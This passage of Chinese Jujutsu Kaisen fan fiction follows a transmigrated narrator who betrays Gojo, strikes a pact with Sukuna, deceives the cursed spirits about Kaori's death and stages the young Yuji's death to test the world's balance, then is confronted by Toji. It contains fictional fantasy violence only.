哦对了,还有邪魅一笑,这么精髓的动作可不能忘了。 开始了,开始了,我赶鸭子上架的反派生涯。 既然都当了反派,那不如首先就背刺一波正派代表吧? 我的手指一勾,地面上晕开的我的血液毫无征兆地向前突刺,直直地冲向了五条猫的胸口。 他现在正是防御力和防御心最弱的时候,也绝对不会想到,刚才还同生共死的我突然给他捅刀。 “噗嗤”一声。 这是锐器穿过肉|体的声音,肉|体撕裂的动向中还夹杂着骨头折断的声音。 这个声音竟然意外的……悦耳。 我、我变态了?! ——“呵,只是这样怎么够,我来教你。” 大爷的声音在我脑中一闪而过。 紧接着,一股剧烈的灼烧感窜动在我皮肤上。原本输在「赤血操术」上的力量骤然翻倍。 等——! 大爷催动的力量根本没有给我暂停的机会,穿透五条猫的血柱炸开,锋刃一般的攻击几乎切开五条猫的身体的同时,也攻击到了另外三人面前。 两个咒术师那一秒钟还沉浸在五条猫似乎被杀了的思想地震里,血刃就已经剖开了他们的胸腹,没有了保护的内脏几乎被鲜血冲出了体外。 只是一个瞬间,就让仨咒术师丧失了战斗能力。 「赤血操术」真是比漫画中表现得还要强——尤其是有足够的力量支撑的时候。 瞬发的技能完全没有「无下限」和「十种影法术」的术式前摇,不需要任何固定手势! 专业背刺能力。 唯一一个反应过来的就只有爹咪,他手中没有收回的「天逆鉾」在「六眼」反应之前,就斩断了从他自己手腕残留血迹刺出的血刃。 爹咪翠绿的眼睛里不似五条猫的不可置信,反而充满了深思。只不过,这“深思”可没有影响他的行动,咒具「万里锁」一甩,几乎可以无限延长的能力在爹咪的手臂全力下,轻松切开「赤血操术」的壁垒,撞向了我。 好机会! 我收势,双臂交叉诅咒在前,正面和爹咪的「万里锁」攻击撞在了一起。 借力收力,我顺势向后一仰,身体撞开身后的墙壁和外层的「账」,遁入了黑暗。 后续剧本没想好,溜了溜了,先溜了…… 第29章 打架我不一定擅长, 但闪避技能我却一定是点满的。 简而言之——论逃命,我不会输给任何人! 好热血,我差一点就要燃起来了。 我撞碎了医院外的「账」, 那一顿烂摊子可够咒术界好好收拾一番的了。 但我不敢在原地停留, 生怕走了爹咪的老路,被追上来的五条猫反杀。 嗯?有疑问? 没错,我确实是给了五条猫致命一击——就像原作的爹咪一样。但我可是粉, 敢动这个手,我当然是确定那一击不会真的杀死五条猫。 潜力越是强大,就越需要在极端的环境里悟道。 就像五条猫,他进化的最关键一步, 就是爹咪对他的杀戮。 但今夜之后, 爹咪肯定是不会对他动手了,自然就得我来接这个班。 刚才绝对是最好的机会,五条猫在和脑花的激烈战斗中升级到了临界点——尤其是脑花炫耀般用出来的「赫」,那是术式反转下的招数,也是五条猫一直无法逾越的进阶点。 凭自己悟肯定是慢的啦, 但都用「六眼」看过一次答案了, 难道还会解不出来题吗? 甚至为保万全,我是在他身体当中感受到自愈倾向后才做的决定。 自愈在咒术界是什么能力? 是「反转术式」, 那本来就是术式反转的类型之一, 所以我确信五条猫已经半只脚入了术式反转的门。 唉,为了五条猫的进化, 我可真是操碎了心。 好在不论如何, 我都不用露宿街头, 身上这一身血淋淋的装束简直是天然的伪装。花御看到我开门倒进房内, 完全腾不出心思来想我的破绽。 “你怎么了!” 她接住了我的身体, 如树干粗壮的手臂将我扶进了怀中,称得上温润的诅咒源源不断地流入我的身体。 我在她的诅咒中尝到了少见的辛辣——花御在愤怒。 我的伤情让她愤怒。 怎么办,我的良心有点痛。 “不用太担心,我没事。”我身上看着恐怖的地方,大多都是我自己搞出来的,「反转术式」早就治愈了外伤。不过,身体内有些虚弱是应该的,我毕竟差点被真脑花封印,还在次元缝隙里走了一遭。 别的不说,我神经的反正是衰弱了不少。 “咕噜咕噜——” 陀艮围了上来,触须拨弄在我身上,尝试着将自己的诅咒团成球给我当补剂吃。 “放心,我只是有些脱力,休息一下就好了。”我摸着陀艮的小脑壳安抚着,他的情绪直接影响着生得领域内的环境。他一焦虑,平静的海面马上就掀起了波澜。 真人的表现就更明显了,他抱着我的头,别说是咒力,就是术式都已经蔓延到了我身上。他的「无为转变」以改变灵魂来带动□□变化。所以在理论上,那也可以是一种治愈能力。 只是真人的业务能力实在非常差——原作之中,他尚且需要大量时间来练习实践,更何况是小脑发育不良的现在。 揪得我更加神经衰弱。 花御非常贴心地把他从我脸上扯下来。 “要妈咪,要妈咪!”真人挥动着短小的四肢在空中大声抗议,“我帮妈咪!” 说真的,我已经逐渐习惯了真人的称呼。 妈咪这个词已经无法再让我的心起波澜。 “不行哦,真人。”花御耐心地劝阻,“妈咪现在需要休息,真人不可以打扰哦。” 真人瘪着嘴,看上去相当委屈。 二次元,果然是三观跟着五官走,我竟然动了恻隐之心。 我果然有问题,难道是理智下降得太厉害了吗? 确实有一定几率,毕竟今夜经历得太多,我真的需要一些时间来整理自己的思绪、缓和自己的精神。 “休息吧,有什么事,都等你恢复过来在说。” 呜呜呜——花御,真是咒灵之母! 在她和陀艮的诅咒包裹下,我眼睛一闭,安详地睡了过去。 但我很快就发现,睡眠≠休息。这两个词语之间,甚至有巨大的差距。 我的意识下沉,从表面沉到了——更深的意识在这种境遇里苏醒。 ——这是一种潜意识梦境。 我很快就意识到了这一点。 有些扭曲的梦境画面里,记忆碎片像潮水一样,一阵接一阵,毫无秩序地扑到我面前。 仿佛是没有提示、甚至缺斤少两的大型拼图,想要在这样的环境里理出个头绪,简直要我狗命。 我期末复习都没有这么大的工程量。 我随手研究了一下碎片内容——这些应该是为数不多被我吸收的脑花诅咒,那一点点诅咒比例就能够兑换出这么多记忆碎片。 可见脑花的第一个身体,绝对不是加茂宪伦。 区区一百多年,根本攒不出这种体量的记忆。 至少也得是十倍体量,他得活了有以前多年了。 这样看来,脑花的存在时间回溯,还真就是和大爷、天元一个时代。 我越来越觉得,我的某些离谱猜测,或许不仅是猜测。 按照一些时代标志,我粗略地将那些记忆碎片的时间线理了理。但这东一榔头战斗记忆,西一棒子实验记忆,碎片完全没有能够连在一起的部分。 像是把上千页的故事书随意撕了十几页下来,我不可能凭此串联出完整的故事链。 记忆抽卡失败,我还是搞不明白脑花的行事逻辑。 甚至一梦过后,我感觉更加疲惫了。 可即使如此,我还是不能休息——活干不完,根本干不完。 反派这种东西真不是人当的! 我提前感受到了一种社畜连轴转的压力,这更加坚定了我不要独立运营穿越司,真的会累死人的! 我揉着额头,钻入了宿傩的生得领域之中。 “我还在想,你什么时候会来。”大爷跷着二郎腿,坐在骷髅王座上,单手睁着脸颊,斜眼看着我。 我现在面对大爷用我的脸摆出这种狂霸拽表情这件事,已经逐渐习惯。 脱敏了。 甚至还能学习一下,毕竟我现在也是要当反派的人。 “所以,为什么要吃掉它,我以为你会觉得恶心。”我着实没有了和他打暗语拉扯的闲情逸致,工作使我人设崩塌,“还那么着急着消化……不会是怕谁给你夺走了吧?” “‘谁’?难道不是你吗?”大爷冷笑了一声,“你把身体剖开都要拿走的东西,难道会不知其价值?” 他用看傻子的眼神看我。 我当然知道脑花的价值,但我并不觉得,这个“价值”的含义对我和大爷来说是同一种东西。 “它,原本就是你的一部分吧?”略一思考,我其实就有了猜测。 两面宿傩的心意或许难测,但行为却相当好懂。 以原作漫画为蓝本的话,两面宿傩这样毫无征兆的匆忙行动并非没有先例。 他只有在吞噬自己手指、拿回自己力量的时候,才如此积极。 再加上对脑花记忆碎片中时间线的整理,我觉得最合理的推测,就是脑花的力量也是两面宿傩的一部分。 类似于一个有自我意识的、活着的手指。 不然大爷真没必要主动掺和。 我观察着他的表情,在听到我的言语后,宿傩眉毛一挑,毫不掩饰,“算你有点眼力见儿。” 这就等于承认了。 虽然早有猜测,但这依然是惊天大瓜! 脑花竟然是两面宿傩的一部分——前后期反派大BOSS合二为一。 一瞬间,我脑中灵光闪过,似乎对基友口中所谓“平衡”的猜测,有了点眉目。 等等! 如果脑花是两面宿傩的脑子,那岂不是说明,这么多年来,宿傩完全没脑子吗? 真·无脑莽夫? 噗——好笑极了。 我的忍俊不禁换来了大爷的领域展开—— 反应这么大,我不会是又把心里想的说出口了吧? 我没有躲避,而是实践了记忆碎片里脑花对术式的解析方式——作为一个反派大BOSS,我得学会维护自己的B格,看看鬼舞辻无惨的下场就知道,总是逃跑可不行。 同样的能力术式让我原本就对大爷的力量模式非常熟悉,脑花的解析方式再一加成——大爷那迎面一刀还没劈到我面前,我就已经快速复刻出了相同的招数,抵消了他的进攻。 别的不说,脑花的技术绝对杠杠的。 好用。 “说真的,有那样的技术又有你这样一根手指都势不可挡的能力。当年,究竟是什么样的方式,才把你封印起来的?” 我好奇,脑花都已经强出天际了,再加上两面宿傩的全盛咒力加成—— 这个战力有一说一,我觉得全盛五条猫战起来都悬,他可是在设定上就号称全时间线最强,过去的「六眼」应该没有实力在他之上的人。 可如果不是「六眼」,那一千多年前,大爷究竟是被谁、或是谁们打败的,又是怎样被打败、还被分成了二十份的。 不对,应该是二十一份,脑花的部分没有被封印成咒物。 也就相当于,当年的大爷在败阵的同时,还想办法把自己的脑子给偷偷保住送出去了? “要是真这么好奇,就全力把老子的手指,都收集回来吧。” 大爷是一点口风都不打算透露给我,看我的眼神里也充满了挑衅——我知道,他要利用我将其他的力量全部收回来。 这是阳谋,我不能拒绝的阳谋。 他的手指原本就在我的目标之列,只不过他自信于收集齐了手指就能反占我的身体,而我却自信别说是二十根手指,就是两百根他也无法挣脱我的控制。 次元维度的差异是很难跨越的。 额……只要我能把次元壁垒重新补好,次元的差异就是很难跨越的。 “补天”所需要的力量可不是一点半点,我巴不得能有两百根手指。 “所有的手指都是你的力量,同属的力量之间,互相留有联系和感应。你指方向,我来收集。至于最后的结局嘛——”我的诅咒强势介入了大爷的生得领域,在展示自己威慑力的过程中,我没有丝毫保留,强行扭转了生得领域中的环境。 大量的诅咒溶解了他王座下的骷髅山,但却故意没有熔掉他的王座,只是让他的位置转移到了我面前的一个身位内。 这样,就是站着的我,在俯视坐着的他了。 气势+1 我伸出合作之手,“结局——咱们各凭本事,怎么样?” 想要介入一个人的生得领域非常困难,需要有领域主人的认可、也需要有足够特殊的力量——像是陀艮和花御对海滩领域的改造。 强行介入的难度更是数倍、数十倍于前者。 好在,我的人设原本就包括了大爷的部分,偷个后门还是有点特权的。 但大爷又不知道我的特权,用这个方式来展示自己的实力,再合适不过了。 “有点意思,”大爷果然兴奋了起来,他饶有兴致地看着这个被改造的领域,连二郎腿都放下来以示尊重。接着,他回握了我的手,对这场合作比拼极有自信,“好,就各凭本事。” 第30章 不知道第几次睁开眼睛, 我终于清醒了一点。 我不太确定自己实际睡了多久,却确定我完全没有休息过来,反而更加疲惫。 理智-1-1 但回笼觉已经睡了几回, 再拖下去, 我的骨头都要酥了。 我摸着陀艮给我准备的诅咒团子,猛炫了几口恢复精神,脸色终于好了起来。 和总需要漫长恢复期的人类不同, 咒灵最大的好处就在于,这种原本就是由纯能量体的诅咒组合而成的身体,填补起来也非常容易。 “到底发生了什么?” 花御一直守在我旁边,警惕着门外的环境。状况不明, 她完全不敢放松警惕。 责任心爆棚, 但即使如此,她也没有强行叫醒我,而是在我缓过来后,才急不可待地问了一次,“你已经昏睡了超过两天, 究竟发生了什么?最近几日, 应该没有任何行动才对。” 这么久? 看来梦境里流逝的时间比我想象当中还要多。 “本来,我是没有任何行动的, ”我舔了舔嘴, 最后一次在脑中过了一遍自己要说的话,“但那夜是香织计划的开始。” “香织的计划?”花御的脸皱在了一起, “原来已经到了这个时候……” 作为在漫长时间里堆积出来的咒灵, 花御对时间的感知, 其实相当迟钝。 “但按照计划, 也不应该有这样大的动静。” 放置肿瘤的任务, 最重要的就是要保证隐秘,花御神思一转,“难道是出了什么意外吗?” 没错,出了点意外,一不小心差点把世界搞崩了的那种意外。 我用力搓了搓脸,在自己掌心的掩盖下迅速调整表情,接着点头,“嗯,香织她、她——”我拖长了音调,假装哽咽着故意不说完。 花御的手一紧,桌子应声而裂。 在我醒之前,她应该就有所猜测,毕竟那是脑花一直处于失联的状态。花御甚至可能尝试联系过,但已经凉凉的脑花当然无法回应她。 在属于脑花的任务里,我都变得如此惨烈,可想而知,她的下场。 “可恶的咒术师——!” 她的声音原本就是直入大脑的声音,在愤怒中变得更加尖锐,刺得我头痛。 陀艮“咕噜咕噜”的声音而已变得激烈了起来,生得领域中的潮水也跟着漫过了脚踝。 “可恶、可恶!” 就连真人也跟着起哄,但我不觉得真人真的理解了花御和陀艮的愤怒点。 咒灵的敌人是咒术师,这个结论甚至不需要任何斟酌思考——我都没有详聊,花御就已经率先恨屋及乌地把锅扣给了所有咒术师。 其实也不能算甩锅,五条猫这个咒术师在脑花歼灭行动里,起到了不可磨灭的重要作用。 “肿瘤的计划失败了,但我们的总计划不能因此而废!”我赶紧把他们从单纯的情绪波动中拉出来,生气归生气,可不能影响了干活,“我们得继承香织的遗志——她的路没有走通,我们就走别的路!” 我可是真·继承脑花遗志,甚至继承脑花人设。 “给香织报仇。”花御甚少有这样凶恶的语气,可见对她来说,同伴的价值要高于伟大的目的。 想要操纵她,就需要抓住一个情字。 陀艮在旁边应和着,那种仿佛闷在水里的声音都尖锐了起来——他的心智更弱,比起计划,他也同样更看重现在的同伴。 仔细一盘,怎么觉得咒灵这边拿的全是正面团队剧本,都是不重结果重感情——不要小看了我们之间的羁绊啊,可恶! 反而是咒术界,一个个的都是利益至上。 究竟谁才是反派? 我绷着脸,不敢把心思表露在脸上,“没错,我们不能让她白死、也不能让她的计划白白流产。” “杀、杀、杀!”真人在我旁边蹦蹦跳跳的,虽然看上去身体和小脑都有点萎缩的样子,但他的硬实力实际上是在陀艮和花御之上的。 他只是需要比原作更长的成长周期,但单是他那个术式,就足以傲视群雄了。 花御更快地冷静了下来,比起陀艮和真人,她对现状的认知显然更清晰,“可如果香织的这一步失败了,那接下来岂不是更加难以推进……” “阴谋诡计容易出纰漏,但是敌明我暗,哪怕是战斗也没什么好怕的,”当然,特级咒灵不论是数量还是团队服从性都要远逊于已成体系的咒术师,哪怕是旧的体系也是体系。我握紧手,诅咒的力量在我皮肤表面流动,黑色的咒纹彰显着不祥,“而且,我们不是还有这张王牌的吗?” 我指的当然不是我,而是我体内的某个家伙。 宿傩大爷实际上能强到什么地步,我并不清楚——毕竟我也没有看到过他二十根手指的战斗力,公式书也没有明文、没有参照。 我只能根据现在的手术数量进行合理推测,只不过,我并不认为手指递增的实力只是单纯的加法。 不过,不论两面宿傩的实力如何,他这个“诅咒之王”的名头,对咒灵来说,都具有绝对的号召力。 果然,花御脸上迅速燃起了希望。 “接下来,我们得优先收集两面宿傩的手指,”这一点,我已经和大爷也达成了共识,“我会尽快把手指的下落都整理出来,到时候再想办法逐个收集。” 手指之间的联系是一般的封印都无法阻碍的,给大爷一点时间,他应该能够顺着方位全部找出来。 这毕竟关乎他自己的利益,相信他也会全力以赴。 “但,星浆体的事情——”花御先前被脑花灌输了许多概念,其中一定包括了星浆体事件的必要性。 我也知道这件事的重要程度,但我和脑花最不同的地方就在于,我有上帝视角。 脑花为了天元和星浆体的问题费尽心力,但我是知道的——只要这个任务落在五条猫和杰哥的头上,阻止融合的这个计划就已经成功了一半。 只要星浆体不完全自愿,那两个人就不会袖手旁观。 当然,外部压力还是要给到一点的。 但那实际上也未必需要我多动手——不是还有更着急的盘星教吗? 这件事交给他们着急就够了,爹咪是肯定不会接他们的单子了,但黑市上的佣兵很多,愿意花钱的话,找一些次级诅咒师去找麻烦也绝对够了。 要钱不要命的人多的是。 我的当务之急可不在这些小事上,有一个关乎到世界平衡的情况,必须得亲自去确认。 这个确认的结果,直接关系到了我接下来的全部行动。 不过,花御这里还是需要安排一下的,不能给他们太多时思考的机会,“放心,星浆体来自咒术界内部,想要从外部攻破不易,但要是从内部瓦解的话,也没有那么难。这件事交给我来办——我现在担心的是消耗,咒术师的数量虽然说不上多,但我们团结在一起的有生力量则更加贫瘠,得尽可能改变这种状况,让大家都聚集到一起来才行,花御——” “这个我明白,”不等我说话,花御就已经点了头,显然是之前和脑花也有过类似的对话,“在此之前,香织给了我一个名单,她已经调查过各地的咒灵产出,特级咒灵的诅咒对我来说,很好辨别。” 她的能力性质摆在这里,善于隐匿,自然就善于探索。 这件事交给她我放心。 我算了算时间,实在是一点都不敢耽搁。 “你的状态依然不好,现在就要出去了吗?” 花御看着我的样子有些担忧。 “我有分寸。” 我急匆匆地回复了一句,让花御尽快行动,联络其他可用的咒灵,便直接离开了陀艮的生得领域。 这一觉睡的时间太长了,仙台计划必须要马上跟进。 毕竟之前把脑花身体的名字泄露了出去,也不知道五条猫什么时候能顺着“虎杖”查到香织的身份上去。 只有他的话,我当然不担心,五条猫这个人的傲气就在一定程度上,决定了他的正直;可那天的事毕竟牵涉了另外两个咒术师,咒术界那边肯定是瞒不过的,我这次恐怕是真的要上死刑通缉名单了。 一旦总监部插手了,那香织表面身份下的一切都可能会出现问题。 虽然现在完全不是虎子能够发挥原作作用的时间点,但有一样东西,仍然只有他能帮我确认。 我得在五条猫和咒术界反应过来之前,把虎子拐到手。 30-40 第31章 仙台, 宫城县。 我的范围就只能缩小到这个程度了。 漫画当中有提到过虎子的具体住址吗? 可能有过吧,但我现在能记起来的,就只有虎子出场的高中——仙台宫城县杉泽第三高中。 虎子的爷爷身体并不算好, 一般来说, 学校的选择应该不会距离他们家太远。 此时的虎子,应该也还没有显露出太多不同寻常的地方,但他的身体素质和成长速度必然高出同龄人许多。 这可是给宿傩大爷准备的专用身体, 不可能泯然众生。 我没有在脑花记忆里抽到类似的碎片,只能凭感觉来寻找。好在,虎子的特征明显,我能够动用的诅咒也足够多。 只要使用得当, 哪怕是蝇头这样的小卡拉米也能派上用场。 甚至, 就是因为低阶咒灵的庞大数量,在找人这样的工作上,他们比特级还好用。就连咒术师都不会持续关注它们。 很快,我就有了头绪。 这是个老院子,院子中还长着一棵枝叶繁茂的树, 看上去也有些年头了。 正在打理院子的男人——大概是虎爷? 他看上去可比动漫里要年轻许多了。 我没有惊动他, 径直翻进了二楼的房屋内。 这里能够看出清晰的孩童生活痕迹,我顺手拿起柜子上摆放的合照。 虎子、虎爸和脑花。 虎妈一定是在虎子出生之前就已经被替换掉了, 我甚至怀疑, 虎爸从最一开始认识的,是否就是脑花。 否则这相册里, 也不至于每一张虎妈的照片, 都有缝合线在头。 一时间, 分不清是虎爸更惨还是虎子更悲。 但现在说这些也都没了用处。 合上相册, 厕所的流水声也在此时停了下来。 小小的虎子推开厕所门, 一抬头就看到了我这个陌生人。 不知是因为他胆子大,还是所有的小孩儿都有这种初生牛犊不怕虎的精神。 虎子丝毫不怀疑我这个陌生人,也不害怕,只是一歪头,似乎是在记忆当中寻找我的模样。 “你是谁?” 我呼吸一窒——是婴儿肥幼虎的嫩音! AWSL 他眨巴着大大的眼睛,水汪汪的瞳孔里带着好奇和期待。 ……期待? 我蹲下来,平时虎子,“你觉得我是谁呢?” 他两边的手指都紧张地搓在衣角处,舌头用力舔了舔嘴唇,这才小声地开了口,“是……爸爸吗?” 我神色一怔。 即使是虎子这样的幼小的年纪,也不会轻易认错长期相伴的家长。 除非……这个“家长”从未陪伴过。 脑花自不必说,但我看照片都能感觉到虎爸眼神中几乎溢出的、对脑花和孩子的爱意。 我猜得没错,虎爸估计早就已经凶多吉少——看虎爷的那种颓丧状态就能窥探一二。 但原因为何? 脑花只是把虎子当做了一个容器,完全不担心他的培养问题、也没有亲自将其接到身边来的意思。 能让感觉到了脑花异常的虎爷活下来,却为什么要让虎爸死? 我没有失神太久,虎子那样期待的视线几乎凝成了实质——这种情况要怎么应对!? 本来我今天来做这件事就已经做了相当多的心理准备,结果虎子一个眼神就让我几近破防,这让我一会儿怎么下得去手? 狠下心、狠下心! 我疯狂给自己做心理建设,这是为了确认世界平衡的内在逻辑、都是为了保护这个世界! 我脚趾紧紧地内抠,只怕鞋垫已经被我抠了个窟窿出来。 “抱歉,我不是你爸爸。” 我的话一出口,虎子的眼神果然黯淡了下来,我正想着要不要安慰一句的时候,他突然又开口,“那你是妈妈吗?” 啊? 我神色一怔——我身上的性别特征这么不明显吗? 虎子已经不是第一个喊我妈的了。 “不,我不是,”我嘴角一抽,“但我算是——你妈妈的熟人。” 你妈也真不是什么好人。 “那,你知道他们在哪里吗!” 虎子期待着,我想,或许虎爷为了照顾小孩子心情,没有将父母逝去的真相告诉他,所以才让他有如此期待。 一想到我要做的事,我的良心就好痛。 “那悠仁帮我一个忙好不好?” 我干掉了脑花——AKA虎杖妈,虽然他不是什么好东西,但事实就是事实。 我下意识地回避了他的问题。 “什么忙?” 虎子一点都不怕生,反而因为我顺畅地叫出了他的名字,显得有些热心、有些激动。 他或许是以为我默认了他的问题,只要他帮我,我就会告诉他一些好消息? 我用力闭了下眼睛,轻轻地将他拥入怀里,右手轻轻地抚摸他的后颈——诅咒伴随着我的动作钻入他的皮肤。 “别害怕,放松就好。” 这不是什么严重的诅咒,只是为了麻痹他的精神和感知——玄学版麻醉剂。 为的就是,让我接下来的行为,不要给他带来太多痛苦。 我指尖划开的创口里流出血液,「赤血操术」下,血液延长凝聚成针——一根比我手还要长的针。 针头尖锐而锋利,别说是人皮、人骨,就是钢筋铁骨也能轻易穿透切断。 我深呼吸,一闭眼,快准狠地将把这根刺对准虎子的脑后刺了下去。 诅咒麻痹了大部分痛感,但这种术式依然能够穿过诅咒。 “唔!”虎子显然也感觉到了异物,一阵并不算尖锐的痛感穿透了他的身体。他瞪大了眼睛,眼泪大滴大滴地流了下来。 我的良心,在!滴!血! 时间拖得越久,虎子要遭的罪也就越多——我强迫自己狠下心,让术式在他的脑中散开,肉眼无法看到的细密针刺紧贴着他的每一根神经,术式深入在内。 冷静、冷静—— 我得狠的下来心,我得——杀了虎杖悠仁! 我咬紧牙关,用力一攥手,那些血刺便攻入了虎子毫无防备的身体之中。瞬间,他的呼吸、心跳等一系列生命体征,全部停了下来。 一秒、两秒—— 我也完全不敢呼吸,心脏跳动的“砰砰”声,在我的胸腔里震耳欲聋。 下一个眨眼,世界的颜色突然以比脑花死亡时还要快一倍、甚至是几倍的速度褪下,这次甚至跳过了图层阶段,直接变成了线条。 果然如此! 我手指一抽,计算着时间——四秒、五秒。 被我设定好的术式在没有我控制的情况下,依然按照既定的程序行动着。 深入虎子大脑的细刺在断裂的同时分化得更细,直至融入了虎子身体正常的代谢之中。 “呼——” 他的鼻息恢复。 伴随着他生命的回暖,世界复又重新搭建了起来。 我数着秒数,明显意识到,这一次世界的恢复速度要比上一次慢一些。 果然,说什么脑花传奇都是个噱头,虎子的权重比要比脑花高出许多。 当然,如果按照我之前的推论,脑花是宿傩的一部分,那么两面宿傩的权重比应该和虎子同级,脑花自然就要低一层。 可即使第一层,却依然打破了平衡,使世界褪色。 再加上我对脑花的替代——重要的人物,而是人设。 这也就验证了我的猜测世,所谓的“平衡”,是正与邪的平衡。 一个成型的小界当然需要对立的两个阵营。 就像我之前忽悠爹咪时所说的那样,有了咒灵,咒术师的存在才有立场的意义。 要有反派,正派才有存在的意义。 这种正反对立成就了一个世界的平衡。 但这也同时引出了另外一个问题——没错,当时的脑花确实是嘎了,但吞掉脑花的是两面宿傩,而不是我, 两面宿傩绝对也是反派阵营,甚至权重在脑花之上,为什么这个过程也没能保持住平衡呢? 总不能是因为三角形具有稳定性吧? 我低头,看着因为诅咒的震荡,而仍有些恍惚的虎子。 “小孩子,幼年体……” 我眼睛一亮,突然想到了另外一种可能——这样小世界当然是有漫画核心在的,主人公是世界的锚点,即使有再多比他更加强大的人,但世界就是以他为核心构筑出来的。 虎子现在处于幼年,现在所发生的一切,实际上都是在构筑虎子未来将要面对的世界。 也就是说,即使有了千年发展,可这个世界仍处于幼年体的状态。 所以,这个平衡才会如此不稳定——两面宿傩的支撑作用恐怕需要和虎子的共鸣才能构建起来。 那在大爷起效之前,脑花的人设自然就是唯一一个反派支撑点。其在消失时会引起那样的反应也就不足为奇。 那……如果提前让虎子成为受肉的话,是不是就等于提前推进了大爷的支撑作用? “啪!” 我狠狠给了自己一巴掌——我竟然在认真思考要给虎子喂手指,我是脑子瓦特了吗! 不行不行,我只是顶一下脑花的班,并不打算真的变反派啊。 阿弥陀佛,喂这么小的虎子吃手指,我会被诅咒的。 但我好像是不是已经是诅咒了? 不行不行,不能考虑这么魔鬼的事情? 我把虎子放到了床上。 脑花记忆碎片里抠出来的假死术式并不强大,我将诅咒分化得极小,最多一周,那些诅咒残秽就能随着他的身体代谢被排出体外。 当然,任何诅咒对人类来说都不是好东西,未来几天虎子估计会小病一场。 我的良心,真的好痛! 它应该痛的! * 我悄无声息地离开虎子家。 他从床上醒来之后,应该会觉得,自己做了个梦。再加上他有点低烧的身体,虎爷应该也不会起疑太多。 我对不起虎子。 退到院外,我还是有点不放心,等着虎爷回屋看到了低烧的虎子,我才转身离开。 可没走多远,我就清晰地感觉到了一股视线盯在我身上。 我暗自调动诅咒摸索,完全不敢放松警惕——要知道,作为临时顶班反派BOSS,打脸总监部、背刺五条猫,我现在的处境可危险得很。 我有意识地远离了住宅,钻进了一片小树林。 密集的诅咒在林子里铺开,我几乎连树上有几片叶子、几只蚂蚁都能数清,但却摸索不到视线的来源。 难道是我的错觉? 不,不会。 我抬头看向天空,明亮的太阳刺在我的眼睛里,却阻挡不了我的视线。 视线不是从那么高的地方坠下来的,而是更加近、更加用力、更加清晰的—— “行了,我都走到这儿了,没有外人,出来吧。”这样绝对的隐匿本身也是一种信息,在我的感知之中,能够绕开一切还能潜伏在我身旁的就只有唯一一个答案,“森林可比外面更方便你藏匿,所以你才靠得这么近啊——伏黑甚尔。” 我话音一落,后背一亮,仿佛蜘蛛感应似的,汗毛都竖了起来。 “唉——你是非得从别人背后落,是吧?”我叹了口气,无奈地转过身来。 果然,就是爹咪! 他的「天与咒缚」实在是我的天敌,不论有没有脑花人设的加成,我都很难正面对抗他。 但反过来想,只要是能进入了我能力漏洞的,就一定只有他了。 我并不紧张,爹咪手上没有拿任何咒具,丑宝也没有取出——当然,他如果取出丑宝,也就无法在我身边隐匿了。 但显而易见的是,爹咪身上并无战意。 他没有直接开口,而是先上下仔细打量了我一番,“果然,你,根本就没有被那个恶心的东西吞噬了意志。” 爹咪用的甚至不是疑问句,一字一顿都很有力。 他很确信自己的答案。 面对这样的人,任何语言误导和强辩都是没有效果的。 于是,我坦然地耸了耸肩,“早就知道羂索不会坐以待毙,我也不是一点准备都没有的。” 盘清楚了逻辑,我自然也就知道,脑花本身不是重点,我只要接任他“反派”的位置就够了,不用真的全盘接受他的人设。 “那你当时那掏心掏肺的,做给五条家的崽子看?” 那真是字面意义上的掏心掏肺。 “不仅仅是做给他——”我顿了一下,试探道,“我自认没有破绽,你是怎么发现的?” 毕竟我的每一个反应,都是真实的。 “发现?那倒谈不上,”爹咪挑眉,“五条家的崽子说你和加茂宪伦——啊,其实是叫羂索,对吧——你们的咒力完全混在一起了。但,融合不本身就是你的能力吗?别人或许感觉不到,但你骗不了我,医院里你的攻击,没有杀意。” 哈? 我都已经捅要害了,还没有杀意! 像是看出了我的疑惑,爹咪进一步解释道:“杀戮和杀意是两种完全不同的东西,行为和意图也不是同一种东西。更别提,杀意和杀意之间,也有区别。” 一串杀杀杀——我已经要晕头了。 “不过,我当时并不确信,直到五条悟重新站起来——更加证明了,你的目的不是杀了他,而是刺激他。” 所以——五条猫果然没有死。 计划通,感觉他嘎了也有风险。 “个中原因我还没有想通,但那个羂索脑子有明确杀掉五条悟的需求,只这一点,就已经足够佐证,你的意识至少是压制着他的。”爹咪的因果关系很清晰。 我当然是下了死手,但我下死手的原因是,我知道这个“死手”不会真的成为死亡原因。 这大概就是爹咪口中没有杀意的原因。 爹咪的感知力也太强了。 如果放在来虎子家之前,我大概会有点紧张。但现在不一样了,我很清楚,就算我承认脑花的死亡,也不会阻碍我来顶替脑花的工作。 “不过你的行踪却是真不好查,但这里是最直接的线索。” 对了,我毕竟和爹咪说起过,自己对脑花的儿子感兴趣。虽然当时只是随口一说,但这确实让爹咪比五条猫多掌握了一条线索。 他会在这里蹲我,也就不奇怪了。 但是,蹲我干嘛? 爹咪要保护自己妻子的基础目的已经达成了,没必要揪着我不放吧? 我在医院表现得丧心病狂,和我扯上关系,不是风险更大吗? 我把疑惑直接问出了口。 爹咪看向远处虎子家的方向,显然是一直蹲在那附近,很可能看到了我杀虎子的一系列行为。 “有杀戮行为,但没有死亡结果,”他没有明确地回答我的问题,“你是在通过行为本身来、确认些什么,那我蹲在这里,自然也有要确认的事。” 果然,他看到了我背刺虎子的丑恶行径。 我定下心来,反问,“我确认了我想确认的,你呢,你有答案了吗?” 爹咪沉默了几秒,倒不是不愿意回答我,而是在组织语言。 可见,他所确定之事,对他来说,也是一件奇事。 “我从出生开始,就和别人不同,零咒力给我带来了超常的感知。那个时候我就知道,不论是有形的还是无形的、不论是认知中的还是认知外的,只要存在,就会在我的感知中留下痕迹。” ……救命,我好像知道他要说什么了。 “那天在医院里,你吃掉那颗脑子的瞬间,地面被抽空了——我明明就踩在地上,四周的一切都没有变化,但我的感知却仿佛一脚踩空、一脚踩在根本无法支撑我的东西上。紧接着,你就有了强烈的反应,徒手剖开自己的肚子,将血团从内脏中扯了出来、大吼大叫、诅咒肆虐、甚至轰塌了半个医院。” 原来在爹咪的视角里,我这么癫。 他话没说完,低头看着自己的掌心,“我当时抓住你的手腕意图阻止,当然,你也甩开了——就是这个甩的动作!我没有感觉到足够清晰的力量,但你就是把我的手甩开了。” 百因必有果,我的报应就是爹咪。 当时对我来说,爹咪的手只是纸片,当然没有力量可言。 这也是他能感觉出来的吗! 「天与咒缚」的命运之外,也不是这样用的吧! “我对自己的力量还是有点自信的。” 爹咪真是太谦虚了,他紧盯着我的眼睛,“那不是单纯的力量,而是些其他的东西,非咒力、非诅咒的东西。” 如果是诅咒和咒力,爹咪一定能有清晰感知。 